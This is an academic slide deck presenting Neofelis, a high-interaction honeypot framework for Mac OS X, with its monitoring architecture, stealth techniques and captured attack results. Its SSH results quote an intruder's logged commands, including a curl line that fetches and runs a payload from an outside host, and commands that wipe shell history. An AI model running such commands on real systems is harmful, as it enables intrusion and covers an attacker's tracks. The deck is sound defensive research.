Neofelis
High-Interaction Honeypot
Framework for Mac OS X

João Miguel Franco
Francisco Nina Rente
{ jmfranco, frente } at dei.uc.pt

Software and System Engineering Research Group
FCT – University of Coimbra
Agenda

- Introduction
- Honeypot Definition
- Related Work
- Project Goals
- System Architecture
- Tested Scenarios
- Results
- Conclusion and Further Work
Introduction

- There is no such thing as total Secure Systems!
- Zero-day vulnerabilities are more frequently
- The sooner you have information on security flaws

Sooner critical updates are released
Less Assets will be Affected
Honeypot Definition

- Computation resource constantly monitored, whose objective is to be tested, attacked and compromised.
- The data collected during the attack will be the base of a posterior analysis.
- Two types of Honeypots

  - High-Interaction
  - Low-Interaction
Related Work

- Argos
  - Uses Dynamic Taint Analysis
  - Detects zero-day exploits
  - Does not capture activities during the attack

- HoneypotX
  - Currently not supported
  - Older version of Mac OS X, 10.1
  - Low-interaction honeypot
Project Goals

- Install and maintain a high-interaction honeypot for Mac OS X
- Implement a framework
  - Totally configurable
  - Robust, Scalable
  - Ensure integrity of the captured data
  - Generate statistical data
- Well defined security boundaries
General Architecture
Information Capture

- **IOKeys**
  - Pressed keys during a SSH session
  - SSH session information
  - Commands passed as arguments
  - Commands executed in a web-shell

- **IOEthernet**
  - Incoming and Outgoing network packets

- **FSLogger**
1 - Call the original Syscall
2 - Retrieve Results
3 - Send information to daemon userland
Dissimulate Monitoring Activities

- HideProc
  \_sysctl()

- HideFiles
  getdirentrees()
  getdirentrees64()
  getdirentreesattr()

- Hide loaded kernel extensions
  Remove the Kexts from kmod_info linked list
Tested Scenarios

- Innumerable possible scenarios
- Tested against two
  - Brute-force attack
    - Normal user with weak credentials
  - Exploitation of a HTTP Web-server
    - Deployed a web-site on Joomla!
Results (HTTP Server)

- Deployed a site based on Joomla!, which had the vulnerability CVE-2008-3681
- Recorded 14 Attacks
  - Hungary, Belarus, Portugal, Latvia and South Korea
- 2 intrusions that took advantage of the vulnerabilities
Results (Brute-Force SSH)

2010-06-29 02:28:13 test França - Isle de France
02:28:15 - w
02:28:24 - cat /proc/cpuinfo
02:28:36 - cat /proc/cpuinfo
02:28:37 - w
02:28:43 - uname -a
02:32:38 - cd /tmp
02:32:40 - ls -a
02:32:57 - cat final4
02:32:59 - ls -a
02:41:47 - curl -O http://rohacker.ucoz.ru/DarwinBooT.tgz ; tar xvf DarwinBooT.tgz ; cd DarwinBooT ; chmod +x *
* ; ./darwin ; cd .. ; rm -rf DarwinBooT.tgz ; mv DarwinBooT .cmd

2010-06-29 17:07:24 test França - Midi-Pyrenees, Pamiers
17:07:26 - w
17:07:30 - uname -a
17:07:52 - ls -a
17:07:57 - rm -rf .bash_history
17:07:58 - passwd
17:08:23 - w
17:08:25 - ls -a
17:08:32 - history -c -d offset
17:08:33 - exit
Conclusion and Further Work

- Neofelis is the first High-Interaction Honeypot for Mac OS X
- High-Level of stealthiness
- Filter network packets through pattern detection
- Integration with an IDS
Thank you very much for your attention. Questions?

jfranco at dei.uc.pt                frente at dei.uc.pt